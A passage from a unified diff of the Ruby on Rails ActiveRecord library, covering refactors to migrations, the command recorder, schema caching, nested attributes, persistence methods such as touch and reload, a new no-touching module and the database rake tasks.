+ if ActiveRecord::Base.maintain_test_schema
+ suppress_messages { load_schema_if_pending! }
+ end
+ end
+
+ def method_missing(name, *args, &block) # :nodoc:
+ (delegate || superclass.delegate).send(name, *args, &block)
+ end
- # Disable DDL transactions for this migration.
- def self.disable_ddl_transaction!
- @disable_ddl_transaction = true
+ def migrate(direction)
+ new.migrate direction
+ end
+
+ # Disable DDL transactions for this migration.
+ def disable_ddl_transaction!
+ @disable_ddl_transaction = true
+ end
end
def disable_ddl_transaction # :nodoc:
@@ -617,8 +641,8 @@ module ActiveRecord
say_with_time "#{method}(#{arg_list})" do
unless @connection.respond_to? :revert
unless arguments.empty? || method == :execute
- arguments[0] = Migrator.proper_table_name(arguments.first)
- arguments[1] = Migrator.proper_table_name(arguments.second) if method == :rename_table
+ arguments[0] = proper_table_name(arguments.first, table_name_options)
+ arguments[1] = proper_table_name(arguments.second, table_name_options) if method == :rename_table
end
end
return super unless connection.respond_to?(method)
@@ -629,7 +653,7 @@ module ActiveRecord
def copy(destination, sources, options = {})
copied = []
- FileUtils.mkdir_p(destination) unless File.exists?(destination)
+ FileUtils.mkdir_p(destination) unless File.exist?(destination)
destination_migrations = ActiveRecord::Migrator.migrations(destination)
last = destination_migrations.last
@@ -671,6 +695,17 @@ module ActiveRecord
copied
end
+ # Finds the correct table name given an Active Record object.
+ # Uses the Active Record object's own table_name, or pre/suffix from the
+ # options passed in.
+ def proper_table_name(name, options = {})
+ if name.respond_to? :table_name
+ name.table_name
+ else
+ "#{options[:table_name_prefix]}#{name}#{options[:table_name_suffix]}"
+ end
+ end
+
# Determines the version number of the next migration.
def next_migration_number(number)
if ActiveRecord::Base.timestamped_migrations
@@ -680,6 +715,13 @@ module ActiveRecord
end
end
+ def table_name_options(config = ActiveRecord::Base)
+ {
+ table_name_prefix: config.table_name_prefix,
+ table_name_suffix: config.table_name_suffix
+ }
+ end
+
private
def execute_block
if connection.respond_to? :execute_block
@@ -717,7 +759,7 @@ module ActiveRecord
def load_migration
require(File.expand_path(filename))
- name.constantize.new
+ name.constantize.new(name, version)
end
end
@@ -788,17 +830,17 @@ module ActiveRecord
SchemaMigration.all.map { |x| x.version.to_i }.sort
end
- def current_version
+ def current_version(connection = Base.connection)
sm_table = schema_migrations_table_name
- if Base.connection.table_exists?(sm_table)
+ if connection.table_exists?(sm_table)
get_all_versions.max || 0
else
0
end
end
- def needs_migration?
- current_version < last_version
+ def needs_migration?(connection = Base.connection)
+ current_version(connection) < last_version
end
def last_version
@@ -809,12 +851,16 @@ module ActiveRecord
migrations(migrations_paths).last || NullMigration.new
end
- def proper_table_name(name)
- # Use the Active Record objects own table_name, or pre/suffix from ActiveRecord::Base if name is a symbol/string
+ def proper_table_name(name, options = {})
+ ActiveSupport::Deprecation.warn "ActiveRecord::Migrator.proper_table_name is deprecated and will be removed in Rails 4.2. Use the proper_table_name instance method on ActiveRecord::Migration instead"
+ options = {
+ table_name_prefix: ActiveRecord::Base.table_name_prefix,
+ table_name_suffix: ActiveRecord::Base.table_name_suffix
+ }.merge(options)
if name.respond_to? :table_name
name.table_name
else
- "#{ActiveRecord::Base.table_name_prefix}#{name}#{ActiveRecord::Base.table_name_suffix}"
+ "#{options[:table_name_prefix]}#{name}#{options[:table_name_suffix]}"
end
end
@@ -866,17 +912,11 @@ module ActiveRecord
@direction = direction
@target_version = target_version
@migrated_versions = nil
-
- if Array(migrations).grep(String).empty?
- @migrations = migrations
- else
- ActiveSupport::Deprecation.warn "instantiate this class with a list of migrations"
- @migrations = self.class.migrations(migrations)
- end
+ @migrations = migrations
validate(@migrations)
- ActiveRecord::SchemaMigration.create_table
+ Base.connection.initialize_schema_migrations_table
end
def current_version
@@ -906,15 +946,7 @@ module ActiveRecord
raise UnknownMigrationVersionError.new(@target_version)
end
- running = runnable
-
- if block_given?
- message = "block argument to migrate is deprecated, please filter migrations before constructing the migrator"
- ActiveSupport::Deprecation.warn message
- running.select! { |m| yield m }
- end
-
- running.each do |migration|
+ runnable.each do |migration|
Base.logger.info "Migrating to #{migration.name} (#{migration.version})" if Base.logger
begin
diff --git a/activerecord/lib/active_record/migration/command_recorder.rb b/activerecord/lib/active_record/migration/command_recorder.rb
index 9782a48055..c44d8c1665 100644
--- a/activerecord/lib/active_record/migration/command_recorder.rb
+++ b/activerecord/lib/active_record/migration/command_recorder.rb
@@ -73,8 +73,8 @@ module ActiveRecord
[:create_table, :create_join_table, :rename_table, :add_column, :remove_column,
:rename_index, :rename_column, :add_index, :remove_index, :add_timestamps, :remove_timestamps,
:change_column_default, :add_reference, :remove_reference, :transaction,
- :drop_join_table, :drop_table, :execute_block,
- :change_column, :execute, :remove_columns, # irreversible methods need to be here too
+ :drop_join_table, :drop_table, :execute_block, :enable_extension,
+ :change_column, :execute, :remove_columns, :change_column_null # irreversible methods need to be here too
].each do |method|
class_eval <<-EOV, __FILE__, __LINE__ + 1
def #{method}(*args, &block) # def create_table(*args, &block)
@@ -86,7 +86,7 @@ module ActiveRecord
alias :remove_belongs_to :remove_reference
def change_table(table_name, options = {})
- yield ConnectionAdapters::Table.new(table_name, self)
+ yield delegate.update_table_definition(table_name, self)
end
private
@@ -100,6 +100,7 @@ module ActiveRecord
add_column: :remove_column,
add_timestamps: :remove_timestamps,
add_reference: :remove_reference,
+ enable_extension: :disable_extension
}.each do |cmd, inv|
[[inv, cmd], [cmd, inv]].uniq.each do |method, inverse|
class_eval <<-EOV, __FILE__, __LINE__ + 1
@@ -139,7 +140,12 @@ module ActiveRecord
def invert_add_index(args)
table, columns, options = *args
- [:remove_index, [table, (options || {}).merge(column: columns)]]
+ options ||= {}
+
+ index_name = options[:name]
+ options_hash = index_name ? { name: index_name } : { column: columns }
+
+ [:remove_index, [table, options_hash]]
end
def invert_remove_index(args)
@@ -156,11 +162,18 @@ module ActiveRecord
alias :invert_add_belongs_to :invert_add_reference
alias :invert_remove_belongs_to :invert_remove_reference
+ def invert_change_column_null(args)
+ args[2] = !args[2]
+ [:change_column_null, args]
+ end
+
# Forwards any missing method call to the \target.
def method_missing(method, *args, &block)
- @delegate.send(method, *args, &block)
- rescue NoMethodError => e
- raise e, e.message.sub(/ for #<.*$/, " via proxy for #{@delegate}")
+ if @delegate.respond_to?(method)
+ @delegate.send(method, *args, &block)
+ else
+ super
+ end
end
end
end
diff --git a/activerecord/lib/active_record/model_schema.rb b/activerecord/lib/active_record/model_schema.rb
index ac2d2f2712..dc5ff02882 100644
--- a/activerecord/lib/active_record/model_schema.rb
+++ b/activerecord/lib/active_record/model_schema.rb
@@ -34,6 +34,12 @@ module ActiveRecord
##
# :singleton-method:
+ # Accessor for the name of the schema migrations table. By default, the value is "schema_migrations"
+ class_attribute :schema_migrations_table_name, instance_accessor: false
+ self.schema_migrations_table_name = "schema_migrations"
+
+ ##
+ # :singleton-method:
# Indicates whether table names should be the pluralized versions of the corresponding class names.
# If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
# See table_name for the full rules on table/class naming. This is true, by default.
@@ -124,7 +130,7 @@ module ActiveRecord
@quoted_table_name = nil
@arel_table = nil
@sequence_name = nil unless defined?(@explicit_sequence_name) && @explicit_sequence_name
- @relation = Relation.new(self, arel_table)
+ @relation = Relation.create(self, arel_table)
end
# Returns a quoted version of the table name, used to construct SQL statements.
@@ -224,13 +230,20 @@ module ActiveRecord
def decorate_columns(columns_hash) # :nodoc:
return if columns_hash.empty?
- columns_hash.each do |name, col|
- if serialized_attributes.key?(name)
- columns_hash[name] = AttributeMethods::Serialization::Type.new(col)
- end
- if create_time_zone_conversion_attribute?(name, col)
- columns_hash[name] = AttributeMethods::TimeZoneConversion::Type.new(col)
- end
+ @serialized_column_names ||= self.columns_hash.keys.find_all do |name|
+ serialized_attributes.key?(name)
+ end
+
+ @serialized_column_names.each do |name|
+ columns_hash[name] = AttributeMethods::Serialization::Type.new(columns_hash[name])
+ end
+
+ @time_zone_column_names ||= self.columns_hash.find_all do |name, col|
+ create_time_zone_conversion_attribute?(name, col)
+ end.map!(&:first)
+
+ @time_zone_column_names.each do |name|
+ columns_hash[name] = AttributeMethods::TimeZoneConversion::Type.new(columns_hash[name])
end
columns_hash
@@ -253,19 +266,6 @@ module ActiveRecord
@content_columns ||= columns.reject { |c| c.primary || c.name =~ /(_id|_count)$/ || c.name == inheritance_column }
end
- # Returns a hash of all the methods added to query each of the columns in the table with the name of the method as the key
- # and true as the value. This makes it possible to do O(1) lookups in respond_to? to check if a given method for attribute
- # is available.
- def column_methods_hash #:nodoc:
- @dynamic_methods_hash ||= column_names.each_with_object(Hash.new(false)) do |attr, methods|
- attr_name = attr.to_s
- methods[attr.to_sym] = attr_name
- methods["#{attr}=".to_sym] = attr_name
- methods["#{attr}?".to_sym] = attr_name
- methods["#{attr}_before_type_cast".to_sym] = attr_name
- end
- end
-
# Resets all the cached information about columns, which will cause them
# to be reloaded on the next request.
#
@@ -297,16 +297,19 @@ module ActiveRecord
undefine_attribute_methods
connection.schema_cache.clear_table_cache!(table_name) if table_exists?
- @arel_engine = nil
- @column_defaults = nil
- @column_names = nil
- @columns = nil
- @columns_hash = nil
- @column_types = nil
- @content_columns = nil
- @dynamic_methods_hash = nil
- @inheritance_column = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
- @relation = nil
+ @arel_engine = nil
+ @column_defaults = nil
+ @column_names = nil
+ @columns = nil
+ @columns_hash = nil
+ @column_types = nil
+ @content_columns = nil
+ @dynamic_methods_hash = nil
+ @inheritance_column = nil unless defined?(@explicit_inheritance_column) && @explicit_inheritance_column
+ @relation = nil
+ @serialized_column_names = nil
+ @time_zone_column_names = nil
+ @cached_time_zone = nil
end
# This is a hook for use by modules that need to do extra stuff to
diff --git a/activerecord/lib/active_record/nested_attributes.rb b/activerecord/lib/active_record/nested_attributes.rb
index e53e8553ad..e6195e48a5 100644
--- a/activerecord/lib/active_record/nested_attributes.rb
+++ b/activerecord/lib/active_record/nested_attributes.rb
@@ -335,7 +335,7 @@ module ActiveRecord
# the helper methods defined below. Makes it seem like the nested
# associations are just regular associations.
def generate_association_writer(association_name, type)
- generated_feature_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
+ generated_association_methods.module_eval <<-eoruby, __FILE__, __LINE__ + 1
if method_defined?(:#{association_name}_attributes=)
remove_method(:#{association_name}_attributes=)
end
@@ -465,19 +465,17 @@ module ActiveRecord
association.build(attributes.except(*UNASSIGNABLE_KEYS))
end
elsif existing_record = existing_records.detect { |record| record.id.to_s == attributes['id'].to_s }
- unless association.loaded? || call_reject_if(association_name, attributes)
+ unless call_reject_if(association_name, attributes)
# Make sure we are operating on the actual object which is in the association's
# proxy_target array (either by finding it, or adding it if not found)
- target_record = association.target.detect { |record| record == existing_record }
-
+ # Take into account that the proxy_target may have changed due to callbacks
+ target_record = association.target.detect { |record| record.id.to_s == attributes['id'].to_s }
if target_record
existing_record = target_record
else
- association.add_to_target(existing_record)
+ association.add_to_target(existing_record, :skip_callbacks)
end
- end
- if !call_reject_if(association_name, attributes)
assign_to_or_mark_for_destruction(existing_record, attributes, options[:allow_destroy])
end
else
@@ -487,10 +485,10 @@ module ActiveRecord
end
# Takes in a limit and checks if the attributes_collection has too many
- # records. The method will take limits in the form of symbols, procs, and
- # number-like objects (anything that can be compared with an integer).
+ # records. It accepts limit in the form of symbol, proc, or
+ # number-like object (anything that can be compared with an integer).
#
- # Will raise an TooManyRecords error if the attributes_collection is
+ # Raises TooManyRecords error if the attributes_collection is
# larger than the limit.
def check_record_limit!(limit, attributes_collection)
if limit
@@ -521,7 +519,7 @@ module ActiveRecord
ConnectionAdapters::Column.value_to_boolean(hash['_destroy'])
end
- # Determines if a new record should be build by checking for
+ # Determines if a new record should be rejected by checking
# has_destroy_flag? or if a <tt>:reject_if</tt> proc exists for this
# association and evaluates to +true+.
def reject_new_record?(association_name, attributes)
diff --git a/activerecord/lib/active_record/no_touching.rb b/activerecord/lib/active_record/no_touching.rb
new file mode 100644
index 0000000000..dbf4564ae5
--- /dev/null
+++ b/activerecord/lib/active_record/no_touching.rb
@@ -0,0 +1,52 @@
+module ActiveRecord
+ # = Active Record No Touching
+ module NoTouching
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ # Lets you selectively disable calls to `touch` for the
+ # duration of a block.
+ #
+ # ==== Examples
+ # ActiveRecord::Base.no_touching do
+ # Project.first.touch # does nothing
+ # Message.first.touch # does nothing
+ # end
+ #
+ # Project.no_touching do
+ # Project.first.touch # does nothing
+ # Message.first.touch # works, but does not touch the associated project
+ # end
+ #
+ def no_touching(&block)
+ NoTouching.apply_to(self, &block)
+ end
+ end
+
+ class << self
+ def apply_to(klass) #:nodoc:
+ klasses.push(klass)
+ yield
+ ensure
+ klasses.pop
+ end
+
+ def applied_to?(klass) #:nodoc:
+ klasses.any? { |k| k >= klass }
+ end
+
+ private
+ def klasses
+ Thread.current[:no_touching_classes] ||= []
+ end
+ end
+
+ def no_touching?
+ NoTouching.applied_to?(self.class)
+ end
+
+ def touch(*)
+ super unless no_touching?
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/null_relation.rb b/activerecord/lib/active_record/null_relation.rb
index d166f0dd66..05d0c41678 100644
--- a/activerecord/lib/active_record/null_relation.rb
+++ b/activerecord/lib/active_record/null_relation.rb
@@ -6,7 +6,7 @@ module ActiveRecord
@records = []
end
- def pluck(_column_name)
+ def pluck(*column_names)
[]
end
@@ -42,21 +42,19 @@ module ActiveRecord
""
end
- def where_values_hash
- {}
- end
-
def count(*)
- 0
+ calculate :count, nil
end
def sum(*)
0
end
- def calculate(_operation, _column_name, _options = {})
- if _operation == :count
- 0
+ def calculate(operation, _column_name, _options = {})
+ # TODO: Remove _options argument as soon we remove support to
+ # activerecord-deprecated_finders.
+ if operation == :count
+ group_values.any? ? Hash.new : 0
else
nil
end
diff --git a/activerecord/lib/active_record/persistence.rb b/activerecord/lib/active_record/persistence.rb
index 582006ea7d..13d7432773 100644
--- a/activerecord/lib/active_record/persistence.rb
+++ b/activerecord/lib/active_record/persistence.rb
@@ -10,9 +10,6 @@ module ActiveRecord
# The +attributes+ parameter can be either a Hash or an Array of Hashes. These Hashes describe the
# attributes on the objects that are to be created.
#
- # +create+ respects mass-assignment security and accepts either +:as+ or +:without_protection+ options
- # in the +options+ parameter.
- #
# ==== Examples
# # Create a single new object
# User.create(first_name: 'Jamie')
@@ -67,7 +64,7 @@ module ActiveRecord
end
# Returns true if this object hasn't been saved yet -- that is, a record
- # for the object doesn't exist in the data store yet; otherwise, returns false.
+ # for the object doesn't exist in the database yet; otherwise, returns false.
def new_record?
sync_with_transaction_state
@new_record
@@ -184,6 +181,7 @@ module ActiveRecord
became = klass.new
became.instance_variable_set("@attributes", @attributes)
became.instance_variable_set("@attributes_cache", @attributes_cache)
+ became.instance_variable_set("@changed_attributes", @changed_attributes) if defined?(@changed_attributes)
became.instance_variable_set("@new_record", new_record?)
became.instance_variable_set("@destroyed", destroyed?)
became.instance_variable_set("@errors", errors)
@@ -198,7 +196,11 @@ module ActiveRecord
# share the same set of attributes.
def becomes!(klass)
became = becomes(klass)
- became.public_send("#{klass.inheritance_column}=", klass.sti_name) unless self.class.descends_from_active_record?
+ sti_type = nil
+ if !klass.descends_from_active_record?
+ sti_type = klass.sti_name
+ end
+ became.public_send("#{klass.inheritance_column}=", sti_type)
became
end
@@ -212,6 +214,8 @@ module ActiveRecord
#
# This method raises an +ActiveRecord::ActiveRecordError+ if the
# attribute is marked as readonly.
+ #
+ # See also +update_column+.
def update_attribute(name, value)
name = name.to_s
verify_readonly_attribute(name)
@@ -267,7 +271,7 @@ module ActiveRecord
# This method raises an +ActiveRecord::ActiveRecordError+ when called on new
# objects, or when at least one of the attributes is marked as readonly.
def update_columns(attributes)
- raise ActiveRecordError, "can not update on a new record object" unless persisted?
+ raise ActiveRecordError, "cannot update on a new record object" unless persisted?
attributes.each_key do |key|
verify_readonly_attribute(key.to_s)
@@ -335,8 +339,18 @@ module ActiveRecord
# Reloads the record from the database.
#
- # This method modifies the receiver in-place. Attributes are updated, and
- # caches busted, in particular the associations cache.
+ # This method finds record by its primary key (which could be assigned manually) and
+ # modifies the receiver in-place:
+ #
+ # account = Account.new
+ # # => #<Account id: nil, email: nil>
+ # account.id = 1
+ # account.reload
+ # # Account Load (1.2ms) SELECT "accounts".* FROM "accounts" WHERE "accounts"."id" = $1 LIMIT 1 [["id", 1]]
+ # # => #<Account id: 1, email: 'account@example.com'>
+ #
+ # Attributes are reloaded from the database, and caches busted, in
+ # particular the associations cache.
#
# If the record no longer exists in the database <tt>ActiveRecord::RecordNotFound</tt>
# is raised. Otherwise, in addition to the in-place modification the method
@@ -354,7 +368,7 @@ module ActiveRecord
# assert_equal 25, account.credit # check it is updated in memory
# assert_equal 25, account.reload.credit # check it is also persisted
#
- # Another commom use case is optimistic locking handling:
+ # Another common use case is optimistic locking handling:
#
# def with_optimistic_retry
# begin
@@ -377,27 +391,32 @@ module ActiveRecord
fresh_object =
if options && options[:lock]
- self.class.unscoped { self.class.lock.find(id) }
+ self.class.unscoped { self.class.lock(options[:lock]).find(id) }
else
self.class.unscoped { self.class.find(id) }
end
@attributes.update(fresh_object.instance_variable_get('@attributes'))
- @columns_hash = fresh_object.instance_variable_get('@columns_hash')
- @attributes_cache = {}
+ @column_types = self.class.column_types
+ @column_types_override = fresh_object.instance_variable_get('@column_types_override')
+ @attributes_cache = {}
self
end
# Saves the record with the updated_at/on attributes set to the current time.
- # Please note that no validation is performed and no callbacks are executed.
- # If an attribute name is passed, that attribute is updated along with
- # updated_at/on attributes.
+ # Please note that no validation is performed and only the +after_touch+,
+ # +after_commit+ and +after_rollback+ callbacks are executed.
+ #
+ # If attribute names are passed, they are updated along with updated_at/on
+ # attributes.
#
- # product.touch # updates updated_at/on
- # product.touch(:designed_at) # updates the designed_at attribute and updated_at/on
+ # product.touch # updates updated_at/on
+ # product.touch(:designed_at) # updates the designed_at attribute and updated_at/on
+ # product.touch(:started_at, :ended_at) # updates started_at, ended_at and updated_at/on attributes
#
- # If used along with +belongs_to+ then +touch+ will invoke +touch+ method on associated object.
+ # If used along with +belongs_to+ then +touch+ will invoke +touch+ method on
+ # associated object.
#
# class Brake < ActiveRecord::Base
# belongs_to :car, touch: true
@@ -416,11 +435,11 @@ module ActiveRecord
# ball = Ball.new
# ball.touch(:updated_at) # => raises ActiveRecordError
#
- def touch(name = nil)
- raise ActiveRecordError, "can not touch on a new record object" unless persisted?
+ def touch(*names)
+ raise ActiveRecordError, "cannot touch on a new record object" unless persisted?
attributes = timestamp_attributes_for_update_in_model
- attributes << name if name
+ attributes.concat(names)
unless attributes.empty?
current_time = current_time_from_proper_timezone
@@ -433,9 +452,11 @@ module ActiveRecord
changes[self.class.locking_column] = increment_lock if locking_enabled?
- @changed_attributes.except!(*changes.keys)
+ changed_attributes.except!(*changes.keys)
primary_key = self.class.primary_key
self.class.unscoped.where(primary_key => self[primary_key]).update_all(changes) == 1
+ else
+ true
end
end
@@ -463,24 +484,24 @@ module ActiveRecord
def create_or_update
raise ReadOnlyRecord if readonly?
- result = new_record? ? create_record : update_record
+ result = new_record? ? _create_record : _update_record
result != false
end
# Updates the associated record with values matching those of the instance attributes.
# Returns the number of affected rows.
- def update_record(attribute_names = @attributes.keys)
+ def _update_record(attribute_names = @attributes.keys)
attributes_values = arel_attributes_with_values_for_update(attribute_names)
if attributes_values.empty?
0
else
- self.class.unscoped.update_record attributes_values, id, id_was
+ self.class.unscoped._update_record attributes_values, id, id_was
end
end
# Creates a record with values matching those of the instance attributes
# and returns its id.
- def create_record(attribute_names = @attributes.keys)
+ def _create_record(attribute_names = @attributes.keys)
attributes_values = arel_attributes_with_values_for_create(attribute_names)
new_id = self.class.unscoped.insert attributes_values
diff --git a/activerecord/lib/active_record/querying.rb b/activerecord/lib/active_record/querying.rb
index 6bee4f38e7..ef138c6f80 100644
--- a/activerecord/lib/active_record/querying.rb
+++ b/activerecord/lib/active_record/querying.rb
@@ -1,13 +1,14 @@
module ActiveRecord
module Querying
delegate :find, :take, :take!, :first, :first!, :last, :last!, :exists?, :any?, :many?, to: :all
+ delegate :second, :second!, :third, :third!, :fourth, :fourth!, :fifth, :fifth!, :forty_two, :forty_two!, to: :all
delegate :first_or_create, :first_or_create!, :first_or_initialize, to: :all
delegate :find_or_create_by, :find_or_create_by!, :find_or_initialize_by, to: :all
delegate :find_by, :find_by!, to: :all
delegate :destroy, :destroy_all, :delete, :delete_all, :update, :update_all, to: :all
delegate :find_each, :find_in_batches, to: :all
delegate :select, :group, :order, :except, :reorder, :limit, :offset, :joins,
- :where, :preload, :eager_load, :includes, :from, :lock, :readonly,
+ :where, :rewhere, :preload, :eager_load, :includes, :from, :lock, :readonly,
:having, :create_with, :uniq, :distinct, :references, :none, :unscope, to: :all
delegate :count, :average, :minimum, :maximum, :sum, :calculate, to: :all
delegate :pluck, :ids, to: :all
diff --git a/activerecord/lib/active_record/railtie.rb b/activerecord/lib/active_record/railtie.rb
index afb0be7b74..a4ceacbf44 100644
--- a/activerecord/lib/active_record/railtie.rb
+++ b/activerecord/lib/active_record/railtie.rb
@@ -31,21 +31,16 @@ module ActiveRecord
config.active_record.use_schema_cache_dump = true
+ config.active_record.maintain_test_schema = true
config.eager_load_namespaces << ActiveRecord
rake_tasks do
require "active_record/base"
- ActiveRecord::Tasks::DatabaseTasks.seed_loader = Rails.application
- ActiveRecord::Tasks::DatabaseTasks.env = Rails.env
-
namespace :db do
task :load_config do
- ActiveRecord::Tasks::DatabaseTasks.db_dir = Rails.application.config.paths["db"].first
ActiveRecord::Tasks::DatabaseTasks.database_configuration = Rails.application.config.database_configuration
- ActiveRecord::Tasks::DatabaseTasks.migrations_paths = Rails.application.paths['db/migrate'].to_a
- ActiveRecord::Tasks::DatabaseTasks.fixtures_path = File.join Rails.root, 'test', 'fixtures'
if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH)
if engine.paths['db/migrate'].existent
@@ -111,56 +106,6 @@ module ActiveRecord
initializer "active_record.set_configs" do |app|
ActiveSupport.on_load(:active_record) do
- begin
- old_behavior, ActiveSupport::Deprecation.behavior = ActiveSupport::Deprecation.behavior, :stderr
- whitelist_attributes = app.config.active_record.delete(:whitelist_attributes)
-
- if respond_to?(:mass_assignment_sanitizer=)
- mass_assignment_sanitizer = nil
- else
- mass_assignment_sanitizer = app.config.active_record.delete(:mass_assignment_sanitizer)
- end
-
- unless whitelist_attributes.nil? && mass_assignment_sanitizer.nil?
- ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
- Model based mass assignment security has been extracted
- out of Rails into a gem. Please use the new recommended protection model for
- params or add `protected_attributes` to your Gemfile to use the old one.
-
- To disable this message remove the `whitelist_attributes` option from your
- `config/application.rb` file and any `mass_assignment_sanitizer` options
- from your `config/environments/*.rb` files.
-
- See http://guides.rubyonrails.org/security.html#mass-assignment for more information.
- EOF
- end
-
- unless app.config.active_record.delete(:auto_explain_threshold_in_seconds).nil?
- ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
- The Active Record auto explain feature has been removed.
-
- To disable this message remove the `active_record.auto_explain_threshold_in_seconds`
- option from the `config/environments/*.rb` config file.
-
- See http://guides.rubyonrails.org/4_0_release_notes.html for more information.
- EOF
- end
-
- unless app.config.active_record.delete(:observers).nil?
- ActiveSupport::Deprecation.warn <<-EOF.strip_heredoc, []
- Active Record Observers has been extracted out of Rails into a gem.
- Please use callbacks or add `rails-observers` to your Gemfile to use observers.
-
- To disable this message remove the `observers` option from your
- `config/application.rb` or from your initializers.
-
- See http://guides.rubyonrails.org/4_0_release_notes.html for more information.
- EOF
- end
- ensure
- ActiveSupport::Deprecation.behavior = old_behavior
- end
-
app.config.active_record.each do |k,v|
send "#{k}=", v
end
@@ -171,8 +116,22 @@ module ActiveRecord
# and then establishes the connection.
initializer "active_record.initialize_database" do |app|
ActiveSupport.on_load(:active_record) do
- self.configurations = app.config.database_configuration || {}
- establish_connection
+ self.configurations = Rails.application.config.database_configuration
+
+ begin
+ establish_connection
+ rescue ActiveRecord::NoDatabaseError
+ warn <<-end_warning
+Oops - You have a database configured, but it doesn't exist yet!
+
+Here's how to get started:
+
+ 1. Configure your database in config/database.yml.
+ 2. Run `bin/rake db:create` to create the database.
+ 3. Run `bin/rake db:setup` to load your database schema.
+end_warning
+ raise
+ end
end
end
diff --git a/activerecord/lib/active_record/railties/databases.rake b/activerecord/lib/active_record/railties/databases.rake
index 0b74553bf8..9538ead5f1 100644
--- a/activerecord/lib/active_record/railties/databases.rake
+++ b/activerecord/lib/active_record/railties/databases.rake
@@ -2,7 +2,7 @@ require 'active_record'
db_namespace = namespace :db do
task :load_config do
- ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
+ ActiveRecord::Base.configurations = ActiveRecord::Tasks::DatabaseTasks.database_configuration || {}
ActiveRecord::Migrator.migrations_paths = ActiveRecord::Tasks::DatabaseTasks.migrations_paths
end
@@ -12,13 +12,9 @@ db_namespace = namespace :db do
end
end
- desc 'Create the database from DATABASE_URL or config/database.yml for the current Rails.env (use db:create:all to create all dbs in the config)'
+ desc 'Creates the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:create:all to create all databases in the config). Without RAILS_ENV it defaults to creating the development and test databases.'
task :create => [:load_config] do
- if ENV['DATABASE_URL']
- ActiveRecord::Tasks::DatabaseTasks.create_database_url
- else
- ActiveRecord::Tasks::DatabaseTasks.create_current
- end
+ ActiveRecord::Tasks::DatabaseTasks.create_current
end
namespace :drop do
@@ -27,13 +23,9 @@ db_namespace = namespace :db do
end
end
- desc 'Drops the database using DATABASE_URL or the current Rails.env (use db:drop:all to drop all databases)'
+ desc 'Drops the database from DATABASE_URL or config/database.yml for the current RAILS_ENV (use db:drop:all to drop all databases in the config). Without RAILS_ENV it defaults to dropping the development and test databases.'
task :drop => [:load_config] do
- if ENV['DATABASE_URL']
- ActiveRecord::Tasks::DatabaseTasks.drop_database_url
- else
- ActiveRecord::Tasks::DatabaseTasks.drop_current
- end
+ ActiveRecord::Tasks::DatabaseTasks.drop_current
end
desc "Migrate the database (options: VERSION=x, VERBOSE=false, SCOPE=blog)."
@@ -42,7 +34,7 @@ db_namespace = namespace :db do
ActiveRecord::Migrator.migrate(ActiveRecord::Migrator.migrations_paths, ENV["VERSION"] ? ENV["VERSION"].to_i : nil) do |migration|
ENV["SCOPE"].blank? || (ENV["SCOPE"] == migration.scope)
end
- db_namespace['_dump'].invoke
+ db_namespace['_dump'].invoke if ActiveRecord::Base.dump_schema_after_migration
end
task :_dump do
@@ -83,7 +75,7 @@ db_namespace = namespace :db do
# desc 'Runs the "down" for a given migration VERSION.'
task :down => [:environment, :load_config] do
version = ENV['VERSION'] ? ENV['VERSION'].to_i : nil
- raise 'VERSION is required' unless version
+ raise 'VERSION is required - To go down one migration, run db:rollback' unless version
ActiveRecord::Migrator.run(:down, ActiveRecord::Migrator.migrations_paths, version)
db_namespace['_dump'].invoke
end
@@ -172,7 +164,7 @@ db_namespace = namespace :db do
end
end
- desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the db first)'
+ desc 'Create the database, load the schema, and initialize with the seed data (use db:reset to also drop the database first)'
task :setup => ['db:schema:load_if_ruby', 'db:structure:load_if_sql', :seed]
desc 'Load the seed data from db/seeds.rb'
@@ -187,9 +179,6 @@ db_namespace = namespace :db do
require 'active_record/fixtures'
base_dir = if ENV['FIXTURES_PATH']
- STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
- "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
- "instead."
File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
else
ActiveRecord::Tasks::DatabaseTasks.fixtures_path
@@ -197,7 +186,7 @@ db_namespace = namespace :db do
fixtures_dir = File.join [base_dir, ENV['FIXTURES_DIR']].compact
- (ENV['FIXTURES'] ? ENV['FIXTURES'].split(/,/) : Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }).each do |fixture_file|
+ (ENV['FIXTURES'] ? ENV['FIXTURES'].split(',') : Dir["#{fixtures_dir}/**/*.yml"].map {|f| f[(fixtures_dir.size + 1)..-5] }).each do |fixture_file|
ActiveRecord::FixtureSet.create_fixtures(fixtures_dir, fixture_file)
end
end
@@ -212,9 +201,6 @@ db_namespace = namespace :db do
puts %Q(The fixture ID for "#{label}" is #{ActiveRecord::FixtureSet.identify(label)}.) if label
base_dir = if ENV['FIXTURES_PATH']
- STDERR.puts "Using FIXTURES_PATH env variable is deprecated, please use " +
- "ActiveRecord::Tasks::DatabaseTasks.fixtures_path = '/path/to/fixtures' " +
- "instead."
File.join [Rails.root, ENV['FIXTURES_PATH'] || %w{test fixtures}].flatten
else
ActiveRecord::Tasks::DatabaseTasks.fixtures_path
@@ -236,7 +222,7 @@ db_namespace = namespace :db do
end
namespace :schema do
- desc 'Create a db/schema.rb file that can be portably used against any DB supported by AR'
+ desc 'Create a db/schema.rb file that is portable against any DB supported by AR'
task :dump => [:environment, :load_config] do
require 'active_record/schema_dumper'
filename = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb')
@@ -248,9 +234,7 @@ db_namespace = namespace :db do
desc 'Load a schema.rb file into the database'
task :load => [:environment, :load_config] do
- file = ENV['SCHEMA'] || File.join(ActiveRecord::Tasks::DatabaseTasks.db_dir, 'schema.rb')
- ActiveRecord::Tasks::DatabaseTasks.check_schema_file(file)
- load(file)
+ ActiveRecord::Tasks::DatabaseTasks.load_schema(:ruby, ENV['SCHEMA'])
end
task :load_if_ruby => ['db:create', :environment] do
